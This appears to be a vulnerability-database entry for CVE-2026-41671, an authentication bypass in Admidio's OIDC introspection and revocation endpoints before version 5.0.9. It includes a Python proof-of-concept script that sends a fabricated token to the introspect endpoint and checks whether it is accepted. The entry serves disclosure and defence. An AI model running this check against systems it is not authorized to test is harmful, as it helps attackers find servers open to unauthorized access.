CVE-2026-41671

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the OIDC token introspection endpoint (/modules/sso/index.php/oidc/introspect) always returns {"active": true} for every request, regardless of whether a valid token is provided, whether the token is expired, revoked, or completely fabricated. The endpoint performs no authentication of the calling resource server and no validation of the submitted token. Any resource server that relies on this introspection endpoint to validate access tokens will accept all requests as authorized, enabling complete authentication bypass. Additionally, the OIDC token revocation endpoint (/oidc/revoke) returns {"revoked": true} without actually revoking any token, preventing resource servers from invalidating compromised credentials. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_poc(url):
    # The vulnerable endpoint path
    target_url = f"{url}/modules/sso/index.php/oidc/introspect"
    
    # Use a completely invalid/fabricated token
    fake_token = "attacker_fabricated_token_payload"
    
    # Prepare the payload
    data = {
        "token": fake_token
    }
    
    try:
        response = requests.post(target_url, data=data, timeout=10)
        
        if response.status_code == 200:
            json_response = response.json()
            # Check if the server claims the fake token is active
            if json_response.get("active") is True:
                print("[+] Vulnerability Confirmed! The endpoint accepts invalid tokens.")
                print(f"[+] Response: {json_response}")
            else:
                print("[-] Token returned as inactive. System might be patched.")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] Error during request: {e}")

if __name__ == "__main__":
    target = "http://localhost/admidio" # Replace with actual target
    check_poc(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41671
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41671
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41671/
[4] VulDB https://vuldb.com/cve/CVE-2026-41671
[5] https://github.com/Admidio/admidio/releases/tag/v5.0.9
[6] https://github.com/Admidio/admidio/security/advisories/GHSA-9xx5-cv6j-x533

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41671", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:32.863", "lastModified": "2026-05-07T14:54:40.603", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the OIDC token introspection endpoint (/modules/sso/index.php/oidc/introspect) always returns {\"active\": true} for every request, regardless of whether a valid token is provided, whether the token is expired, revoked, or completely fabricated. The endpoint performs no authentication of the calling resource server and no validation of the submitted token. Any resource server that relies on this introspection endpoint to validate access tokens will accept all requests as authorized, enabling complete authentication bypass. Additionally, the OIDC token revocation endpoint (/oidc/revoke) returns {\"revoked\": true} without actually revoking any token, preventing resource servers from invalidating compromised credentials. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-9xx5-cv6j-x533", "source": "[email protected]"}]}}